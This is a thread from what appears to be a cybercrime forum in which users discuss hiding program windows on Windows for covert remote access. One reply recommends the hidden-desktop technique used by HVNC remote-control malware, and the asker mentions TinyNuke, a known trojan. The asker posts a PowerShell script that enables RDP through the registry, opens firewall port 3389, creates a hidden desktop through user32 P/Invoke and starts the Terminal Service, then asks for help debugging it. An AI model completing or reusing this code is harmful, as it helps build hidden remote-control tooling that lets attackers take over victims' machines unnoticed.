• XSS.stack #1 – первый литературный журнал от юзеров форума

Hiding Windows with Powershell

DimmuBurgor

CPU register
Пользователь
Регистрация
01.12.2021
Сообщения
1 504
Решения
1
Реакции
552
Гарант сделки
6
Is there a good way to launch a program without using a comobject or wscript.shell? For some reason windowstyle hidden is not functioning as the documentation indicates it should regardless of UAC privs level. Could this be caused by start-process taking precedence by being called first?

EDIT: problem is present when/if pwsh is not the default console on system... now searching a solution for this
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Apps can pretty much ignore windowstyle hidden flag. You can use CreateDesktop api to create a separate desktop, then use CreateProcess to start app on the desktop you've created. That way it won't show any windows on the default desktops. A lot of HVNCs works that way, you can search on github.
 
Apps can pretty much ignore windowstyle hidden flag. You can use CreateDesktop api to create a separate desktop, then use CreateProcess to start app on the desktop you've created. That way it won't show any windows on the default desktops. A lot of HVNCs works that way, you can search on github.
Thanks I appreciate the help! I assumed most of the gits would be from tinynuke, but this should get me headed in the right direction
 
Here's where I am so far
Код:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

namespace System.Interop
{
    public static class User32
    {
        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr CreateDesktop(
            string lpszDesktop,
            IntPtr lpszDevice,
            IntPtr pDevmode,
            int dwFlags,
            uint dwDesiredAccess,
            IntPtr lpsa);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CloseDesktop(IntPtr handle);
    }
}
"@

$desktopName = [System.Guid]::NewGuid().ToString()
$newDesktop = [System.Interop.User32]::CreateDesktop($desktopName, [System.IntPtr]::Zero, [System.IntPtr]::Zero, 0, 0x01, [System.IntPtr]::Zero)

Start-Service -Name "TermService"

but after running netsh interface ipv4 show tcpconnections it doesn't appear to be listening any thoughts? should I have entered the ruleset through advfirewall instead?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх